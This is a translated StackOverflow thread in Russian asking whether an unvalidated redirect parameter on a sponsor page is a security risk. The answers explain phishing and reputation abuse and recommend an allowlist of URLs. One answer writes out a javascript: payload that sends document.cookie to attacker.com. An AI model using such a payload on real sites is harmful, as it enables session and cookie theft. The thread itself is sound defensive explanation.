Можете ли вы найти проблему с веб-безопасностью здесь?

StackOverflow https://stackoverflow.com/questions/210820

  •  03-07-2019
  •  | 
  •  

Вопрос

У меня есть веб-страница, которая перенаправляет на другую веб-страницу, подобную этой:

http://www.myOtherServer.com/Sponsor.php?RedirectPage=http://mylink.com/whereIwasgoingtogo.html

Затем на странице Sponsor.php отображается объявление со ссылкой "Перейти на вашу страницу", которая ссылается на переданную в RedirectPage страницу.Существуют ли проблемы с безопасностью / подменой, которые могут возникнуть из-за этого?Каков наилучший способ справиться с этим?(обратите внимание, что пользователь не вошел ни на один из сайтов)

Это было полезно?

Решение

Это большая проблема.Если я отправлю вам ссылку, которая будет выглядеть примерно так:

 http://cnn.com/sponsor.php?redirectpage=http://bit.ly/jh2l14

Вы подумаете: "О, CNN, это законный сайт", откроете его и нажмете на ссылку "Перейти на вашу страницу".А потом вы окажетесь на одном из самых отвратительных порносайтов в сети, и там громкий мужской голос объявит всем вашим коллегам "Черт возьми, я хочу!@$@#$ Твой!(&¤&^$§ пока я не смогу ¡⌐^(!#~~&$^#!@$!!"и вам придется объяснить своему боссу: "Я думал, это Си-эн-эн!"

Дыра здесь такая ваша репутация.Слепые перенаправления, подобные этому, опасны.

И это всего лишь одна дырка.Как насчет этого?

 http://cnn.com/sponsor.php?redirectpage=javascript:location.href='http://attacker.com/' + document.cookie

Теперь я взломал ваш сайт и украл файлы cookie вашего пользователя.Конечно, вы говорите, что нет информации для входа, но как насчет данных сеанса?Или когда вы добавляете логин позже, или кто-то другой в вашей компании использует эту страницу годом позже, когда пользователи входят в систему.

Другие советы

Это определенно представляет угрозу безопасности.Вам следует избегать использования переменных в URL-адресе, когда речь идет о безопасности.

Хотя ничто не является полностью безопасным, это гораздо лучший способ решения этой проблемы: http://www.webmasterworld.com/forum88/2910.htm

Если sponsor.php допускает какое-либо значение в RedirectPage, а объявления подразумевают одобрение или побуждают людей думать, что они на правильном пути, вы бы сочли это частью фишинговой атаки.Что еще хуже, вы, вероятно, извлекли бы выгоду из этих атак, что, скорее всего, вызвало бы недовольство людей.

Ведение списка разрешенных URL-адресов (или шаблонов, по которым они могут следовать) имело бы большое значение для предотвращения проблем.

Лицензировано под: CC-BY-SA с атрибуция
Не связан с StackOverflow
scroll top